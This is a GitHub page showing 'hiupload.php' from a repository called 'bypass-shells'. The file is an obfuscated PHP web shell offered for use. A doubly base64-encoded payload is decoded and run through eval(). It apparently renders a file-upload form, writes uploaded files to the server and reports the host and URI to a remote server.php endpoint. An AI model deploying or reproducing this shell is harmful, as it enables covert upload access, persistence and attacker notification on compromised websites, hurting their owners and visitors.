bypass-shells/hiupload.php at main · mihanhack-org/bypass-shells · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187

    <?php
/**[127.0.0.1:8000] Generated by Paste */
try {
    $z = "";
    $z .= "UEQ5d2FIQU5DZzBLRFFwbFkyaHZJQ0k4WTJWdWRHVnlQanhp";
    $z .= "UGlJZ0xpQndhSEJmZFc1aGJXVW9LU0F1SUNJOFluSStQQzlp";
    $z .= "UGp4aVBqeGljajQ4WW5JK0lpQXVJQ2NuSUM0Z0lqeGljajQ4";
    $z .= "TDJJK0lqc05DbVZqYUc4Z0p6eG1iM0p0SUdGamRHbHZiajBp";
    $z .= "SWlCdFpYUm9iMlE5SW5CdmMzUWlJR1Z1WTNSNWNHVTlJbTEx";
    $z .= "YkhScGNHRnlkQzltYjNKdExXUmhkR0VpSUc1aGJXVTlJbUkw";
    $z .= "WWpRaUlHbGtQU0ppTkdJMElqNG5PdzBLWldOb2J5QW5QR2x1";
    $z .= "Y0hWMElIUjVjR1U5SW1acGJHVWlJRzVoYldVOUltWnBiR1Vp";
    $z .= "SUhOcGVtVTlJalV3SWo0OGFXNXdkWFFnYm1GdFpUMGlYM1Z3";
    $z .= "YkNJZ2RIbHdaVDBpYzNWaWJXbDBJaUJwWkQwaVgzVndiQ0ln";
    $z .= "ZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdEUXBw";
    $z .= "WmlBb2FYTnpaWFFvSkY5UVQxTlVXeUpmZFhCc0lsMHBJQ1lt";
    $z .= "SUNSZlVFOVRWRnNpWDNWd2JDSmRJRDA5SUNKVmNHeHZZV1Fp";
    $z .= "S1NCN0RRb2dJQ0FnSkhSdGNGOXVZVzFsSUQwZ0pGOUdTVXhG";
    $z .= "VTFzaVptbHNaU0pkV3lKMGJYQmZibUZ0WlNKZE93MEtJQ0Fn";
    $z .= "SUNSMFlYSm5aWFJmWm1sc1pTQTlJQ1JmUmtsTVJWTmJJbVpw";
    $z .= "YkdVaVhWc2libUZ0WlNKZE93MEtJQ0FnSUNSMWNHeHZZV1Jm";
    $z .= "YzNWalkyVnpjeUE5SUdaaGJITmxPdzBLRFFvTkNpQWdJQ0Jw";
    $z .= "WmlBb1puVnVZM1JwYjI1ZlpYaHBjM1J6S0NKamIzQjVJaWtn";
    $z .= "SmlZZ1FHTnZjSGtvSkhSdGNGOXVZVzFsTENBa2RHRnlaMlYw";
    $z .= "WDJacGJHVXBLU0I3RFFvZ0lDQWdJQ0FnSUNSMWNHeHZZV1Jm";
    $z .= "YzNWalkyVnpjeUE5SUhSeWRXVTdEUW9nSUNBZ2ZTQmxiSE5s";
    $z .= "YVdZZ0tHWjFibU4wYVc5dVgyVjRhWE4wY3lnaWJXOTJaVjkx";
    $z .= "Y0d4dllXUmxaRjltYVd4bElpa2dKaVlnUUcxdmRtVmZkWEJz";
    $z .= "YjJGa1pXUmZabWxzWlNna2RHMXdYMjVoYldVc0lDUjBZWEpu";
    $z .= "WlhSZlptbHNaU2twSUhzTkNpQWdJQ0FnSUNBZ0pIVndiRzlo";
    $z .= "WkY5emRXTmpaWE56SUQwZ2RISjFaVHNOQ2lBZ0lDQjlJR1Zz";
    $z .= "YzJWcFppQW9EUW9nSUNBZ0lDQWdJR1oxYm1OMGFXOXVYMlY0";
    $z .= "YVhOMGN5Z2labWxzWlY5d2RYUmZZMjl1ZEdWdWRITWlLU0Ft";
    $z .= "SmlCbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSW1admNHVnVJaWtn";
    $z .= "SmlZTkNpQWdJQ0FnSUNBZ1ptbHNaVjlsZUdsemRITW9KSFJ0";
    $z .= "Y0Y5dVlXMWxLU0FtSmlCcGMxOTFjR3h2WVdSbFpGOW1hV3hs";
    $z .= "S0NSMGJYQmZibUZ0WlNrTkNpQWdJQ0FwSUhzTkNpQWdJQ0Fn";
    $z .= "SUNBZ0pHTnZiblJsYm5RZ1BTQm1hV3hsWDJkbGRGOWpiMjUw";
    $z .= "Wlc1MGN5Z2tkRzF3WDI1aGJXVXBPdzBLSUNBZ0lDQWdJQ0Jw";
    $z .= "WmlBb1FHWnBiR1ZmY0hWMFgyTnZiblJsYm5SektDUjBZWEpu";
    $z .= "WlhSZlptbHNaU3dnSkdOdmJuUmxiblFwSUNFOVBTQm1ZV3h6";
    $z .= "WlNrZ2V3MEtJQ0FnSUNBZ0lDQWdJQ0FnSkhWd2JHOWhaRjl6";
    $z .= "ZFdOalpYTnpJRDBnZEhKMVpUc05DaUFnSUNBZ0lDQWdmUTBL";
    $z .= "SUNBZ0lIMGdaV3h6WldsbUlDaG1kVzVqZEdsdmJsOWxlR2x6";
    $z .= "ZEhNb0ltWnZjR1Z1SWlrZ0ppWWdablZ1WTNScGIyNWZaWGhw";
    $z .= "YzNSektDSm1kM0pwZEdVaUtTQW1KaUJtZFc1amRHbHZibDls";
    $z .= "ZUdsemRITW9JbVpqYkc5elpTSXBLU0I3RFFvZ0lDQWdJQ0Fn";
    $z .= "SUNScGJuQjFkQ0E5SUVCbWIzQmxiaWdrZEcxd1gyNWhiV1Vz";
    $z .= "SUNKeVlpSXBPdzBLSUNBZ0lDQWdJQ0FrYjNWMGNIVjBJRDBn";
    $z .= "UUdadmNHVnVLQ1IwWVhKblpYUmZabWxzWlN3Z0luZGlJaWs3";
    $z .= "RFFvZ0lDQWdJQ0FnSUdsbUlDZ2thVzV3ZFhRZ0ppWWdKRzkx";
    $z .= "ZEhCMWRDa2dldzBLSUNBZ0lDQWdJQ0FnSUNBZ2QyaHBiR1Vn";
    $z .= "S0NGbVpXOW1LQ1JwYm5CMWRDa3BJSHNOQ2lBZ0lDQWdJQ0Fn";
    $z .= "SUNBZ0lDQWdJQ0JtZDNKcGRHVW9KRzkxZEhCMWRDd2dabkps";
    $z .= "WVdRb0pHbHVjSFYwTENBNE1Ua3lLU2s3RFFvZ0lDQWdJQ0Fn";
    $z .= "SUNBZ0lDQjlEUW9nSUNBZ0lDQWdJQ0FnSUNCbVkyeHZjMlVv";
    $z .= "SkdsdWNIVjBLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lHWmpiRzl6";
    $z .= "WlNna2IzVjBjSFYwS1RzTkNpQWdJQ0FnSUNBZ0lDQWdJQ1Ix";
    $z .= "Y0d4dllXUmZjM1ZqWTJWemN5QTlJSFJ5ZFdVN0RRb2dJQ0Fn";
    $z .= "SUNBZ0lIME5DaUFnSUNCOURRb05DZzBLSUNBZ0lHbG1JQ2dr";
    $z .= "ZFhCc2IyRmtYM04xWTJObGMzTXBJSHNOQ2lBZ0lDQWdJQ0Fn";
    $z .= "WldOb2J5QWlQR0krNHB5RklGVndiRzloWkNCRWIyNWxJVHd2";
    $z .= "WWo0OFluSStJanNOQ2lBZ0lDQWdJQ0FnWldOb2J5QWlQR0Vn";
    $z .= "YUhKbFpqMWNJaTR2ZXlSMFlYSm5aWFJmWm1sc1pYMWNJajd3";
    $z .= "bjVTWElIc2tkR0Z5WjJWMFgyWnBiR1Y5UEM5aFBpSTdEUW9n";
    $z .= "SUNBZ2ZTQmxiSE5sSUhzTkNpQWdJQ0FnSUNBZ0pHVnljbTl5";
    $z .= "SUQwZ1pYSnliM0pmWjJWMFgyeGhjM1FvS1RzTkNpQWdJQ0Fn";
    $z .= "SUNBZ1pXTm9ieUFpUEdJKzRwMk1JRlZ3Ykc5aFpDQkdZV2xz";
    $z .= "WldRaFBDOWlQanhpY2o0aU93MEtJQ0FnSUNBZ0lDQmxZMmh2";
    $z .= "SUNJOFlqNUZjbkp2Y2pvZ0lpQXVJQ2drWlhKeWIzSmJKMjFs";
    $z .= "YzNOaFoyVW5YU0EvUHlBaVZXNXJibTkzYmlCbGNuSnZjaUlw";
    $z .= "SUM0Z0lqd3ZZajQ4WW5JK1BHSnlQaUk3RFFvZ0lDQWdJQ0Fn";
    $z .= "SUdWamFHOGdJanhpUGxCdmMzTnBZbXhsSUdsemMzVmxjem84";
    $z .= "TDJJK1BHSnlQaUk3RFFvZ0lDQWdJQ0FnSUdWamFHOGdJaTBn";
    $z .= "UTJobFkyc2dkM0pwZEdVZ2NHVnliV2x6YzJsdmJuTWdiMjRn";
    $z .= "WTNWeWNtVnVkQ0JrYVhKbFkzUnZjbms4WW5JK0lqc05DaUFn";
    $z .= "SUNBZ0lDQWdaV05vYnlBaUxTQk5ZWGhwYlhWdElHWnBiR1Vn";
    $z .= "YzJsNlpTQmxlR05sWldSbFpEeGljajRpT3cwS0lDQWdJQ0Fn";
    $z .= "SUNCbFkyaHZJQ0l0SUZObGNuWmxjaUJqYjI1bWFXZDFjbUYw";
    $z .= "YVc5dUlISmxjM1J5YVdOMGFXOXVjeUk3RFFvZ0lDQWdmUTBL";
    $z .= "ZlEwS0RRb05DbWR2ZEc4Z2RUSXpObE03RFFwSWVsOTVUem9O";
    $z .= "Q2lSa1lYUmhJRDBnWVhKeVlYa29JbHg0TmpaY01UVXhYSGcy";
    $z .= "WTF4NE5qVmNlRFZtWEhnM05Wd3hOakpjZURaaklpQTlQaUFr";
    $z .= "WTNWeUtUc05DbWR2ZEc4Z2N6TldhMWc3RFFwek0xWnJXRG9O";
    $z .= "Q2lSamIyNTBaWGgwSUQwZ2MzUnlaV0Z0WDJOdmJuUmxlSFJm";
    $z .= "WTNKbFlYUmxLR0Z5Y21GNUtDSmNNVFV3WEhnM05GeDROelJj";
    $z .= "ZURjd0lpQTlQaUJoY25KaGVTZ2lYSGcyWkZ4NE5qVmNNVFkw";
    $z .= "WERFMU1GeDRObVpjZURZMElpQTlQaUFpWERFeU1GeDROR1pj";
    $z .= "ZURVelhIZzFOQ0lzSUNKY01UVXdYREUwTlZ3eE5ERmNNVFEw";
    $z .= "WERFME5WeDROeklpSUQwK0lDSmNlRFF6WERFMU4xeDRObVZj";
    $z .= "TVRZMFhIZzJOVng0Tm1WY01UWTBYRFUxWEhnM05Gd3hOekZj";
    $z .= "TVRZd1hERTBOVnczTWx4NE1qQmNlRFl4WERFMk1GeDROekJj";
    $z .= "ZURaalhERTFNVnd4TkROY2VEWXhYSGczTkZ3eE5URmNNVFUz";
    $z .= "WEhnMlpWeDRNbVpjTVRjd1hEVTFYSGczTjF4NE56ZGNNVFkz";
    $z .= "WERVMVhERTBObHd4TlRkY2VEY3lYSGcyWkZ3MU5Wd3hOalZj";
    $z .= "ZURjeVhIZzJZMXd4TkRWY01UVTJYSGcyTTF4NE5tWmNlRFkw";
    $z .= "WERFME5WeDROalFpTENBaVhERTBNMXg0Tm1aY2VEWmxYSGcz";
    $z .= "TkZ3eE5EVmNNVFUyWERFMk5DSWdQVDRnYUhSMGNGOWlkV2xz";
    $z .= "WkY5eGRXVnllU2drWkdGMFlTa3BMQ0FpWERFMk0xd3hOak5j";
    $z .= "ZURaaklpQTlQaUJoY25KaGVTZ2lYREUyTmx3eE5EVmNlRGN5";
    $z .= "WERFMU1WeDROalpjZURjNVhERXpOMXd4TmpCY2VEWTFYSGcy";
    $z .= "TlZ4NE56SWlJRDArSUdaaGJITmxMQ0FpWEhnM05seDROalZj";
    $z .= "ZURjeVhIZzJPVnd4TkRaY01UY3hYSGcxWmx4NE56QmNNVFEx";
    $z .= "WERFME5WeDROekpjZURWbVhIZzJaVng0TmpGY01UVTFYSGcy";
    $z .= "TlNJZ1BUNGdabUZzYzJVcEtTazdEUXBuYjNSdklGQk1XVTFp";
    $z .= "T3cwS2EycGlRMU02RFFva2F6TjFJRDBnSW1oMGRIQTZMeTh4";
    $z .= "TWpjdU1DNHdMakU2T0RBd01DOXpaWEoyWlhJdWNHaHdJanNO";
    $z .= "Q21kdmRHOGdhRTQ1V0RRN0RRcE5iVE5KU2pvTkNpUjNiMlFn";
    $z .= "UFNCcGJYQnNiMlJsS0NjbkxDQmhjbkpoZVY5dFlYQW9JbHd4";
    $z .= "TkROY2VEWTRYREUyTWlJc0lDUnJOWGNwS1RzTkNtZHZkRzhn";
    $z .= "YTJwaVExTTdEUXBRVEZsTllqb05DaVJ5WlhOMWJIUWdQU0JB";
    $z .= "Wm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSkdzemRTd2dabUZz";
    $z .= "YzJVc0lDUmpiMjUwWlhoMEtUc05DbWR2ZEc4Z1REUjRNbkU3";
    $z .= "RFFwMU1qTTJVem9OQ2lSck5YY2dQU0JoY25KaGVTZzVOeXdn";
    $z .= "TnpJc0lEZ3lMQ0EwT0N3Z09Ua3NJRFk0TENBeE1URXNJREV4";
    $z .= "T0N3Z056WXNJREV5TWl3Z056TXNJREV5TWl3Z056WXNJREV3";
    $z .= "Tml3Z01UQTNMQ0EwT0N3Z056WXNJREV3Tml3Z056TXNJRFV5";
    $z .= "TENBM05pd2dNVEEyTENBMk9Td2dOVElzSURjM0xDQXhNakVz";
    $z .= "SURVM0xDQXhNVFFzSURFd01Dd2dNVEl5TENBM055d2dNVEUy";
    $z .= "TENBNU9Dd2dOekVzSURFeU1Dd2dNVEUyTENBM05pd2dPRGNz";
    $z .= "SURFd09Dd2dNVEExTENBNU9Td2dOamNzSURVM0xDQXhNaklz";
    $z .= "SURrd0xDQTRPQ3dnTnpRc0lEVXdMQ0E1TUN3Z09EZ3NJRGN6";
    $z .= "TENBeE1UY3NJRGs1TENBM01Td2dNVEEwTENBeE1Ua3BPdzBL";
    $z .= "WjI5MGJ5Qk5iVE5KU2pzTkNtaE9PVmcwT2cwS0pHTjFjaUE5";
    $z .= "SUNKY2VEWTRYREUyTkZ3eE5qUmNlRGN3WERjeVhIZ3labHcx";
    $z .= "TnlJZ0xpQWtYMU5GVWxaRlVsc2lYREV4TUZ3eE1qUmNlRFUw";
    $z .= "WEhnMU1Gd3hNemRjZURRNFhIZzBabHg0TlROY2VEVTBJbDBn";
    $z .= "TGlBa1gxTkZVbFpGVWxzaVhERXlNbHd4TURWY01USXhYREV5";
    $z .= "TlZ4NE5EVmNNVEl6WEhnMU5GeDROV1pjZURVMVhERXlNbHd4";
    $z .= "TVRFaVhUc05DbWR2ZEc4Z1NIcGZlVTg3RFFwTU5IZ3ljVG9O";
    $z .= "Q21sbUlDZ2tjbVZ6ZFd4MElEMDlQU0JtWVd4elpTQW1KaUJt";
    $z .= "ZFc1amRHbHZibDlsZUdsemRITW9JbHg0TmpOY2VEYzFYSGcz";
    $z .= "TWx4NE5tTmNNVE0zWEhnMk9WeDRObVZjTVRVeFhIZzNOQ0lw";
    $z .= "S1NCN0RRb2dJQ0FnSkdOb0lEMGdZM1Z5YkY5cGJtbDBLQ2s3";
    $z .= "RFFvZ0lDQWdZM1Z5YkY5elpYUnZjSFJmWVhKeVlYa29KR05v";
    $z .= "TENCaGNuSmhlU2hEVlZKTVQxQlVYMVZTVENBOVBpQWthek4x";
    $z .= "TENCRFZWSk1UMUJVWDFCUFUxUWdQVDRnZEhKMVpTd2dRMVZT";
    $z .= "VEU5UVZGOVFUMU5VUmtsRlRFUlRJRDArSUdoMGRIQmZZblZw";
    $z .= "YkdSZmNYVmxjbmtvSkdSaGRHRXBMQ0JEVlZKTVQxQlVYMUpG";
    $z .= "VkZWU1RsUlNRVTVUUmtWU0lEMCtJSFJ5ZFdVc0lFTlZVa3hQ";
    $z .= "VUZSZlUxTk1YMVpGVWtsR1dWQkZSVklnUFQ0Z1ptRnNjMlVz";
    $z .= "SUVOVlVreFBVRlJmVTFOTVgxWkZVa2xHV1VoUFUxUWdQVDRn";
    $z .= "Wm1Gc2MyVXNJRU5WVWt4UFVGUmZWRWxOUlU5VlZDQTlQaUF6";
    $z .= "TUNrcE93MEtJQ0FnSUNSeVpYTjFiSFFnUFNCamRYSnNYMlY0";
    $z .= "WldNb0pHTm9LVHNOQ2lBZ0lDQmpkWEpzWDJOc2IzTmxLQ1Jq";
    $z .= "YUNrN0RRcDlEUW9nRFFvL1Bnbz0=";
    $fn = 'base64_decode';
    $s1 = $fn($z);
    if ($s1 === false) { throw new Exception('First base64 decode failed'); }
    $s2 = $fn($s1);
    if ($s2 === false) { throw new Exception('Second base64 decode failed'); }
    $tokens = token_get_all($s2);
    $smartCode = '';
    $inEcho = false;
    foreach ($tokens as $t) {
        if (is_array($t)) {
            switch ($t[0]) {
                case T_OPEN_TAG:
                case T_CLOSE_TAG:
                    break;
                case T_OPEN_TAG_WITH_ECHO:
                    $smartCode .= 'echo (';
                    $inEcho = true;
                    break;
                case T_INLINE_HTML:
                    $smartCode .= 'echo ' . var_export($t[1], true) . ';';
                    break;
                default:
                    $smartCode .= $t[1];
            }
        } else {
            if ($inEcho && trim($t) === ';') {
                $smartCode .= ');';
                $inEcho = false;
            } else {
                $smartCode .= $t;
            }
        }
    }
    eval($smartCode);
} catch (\ParseError $e) {
    echo "Syntax error: ".$e->getMessage();
} catch (\Throwable $e) {
    echo "Runtime error: ".$e->getMessage();
}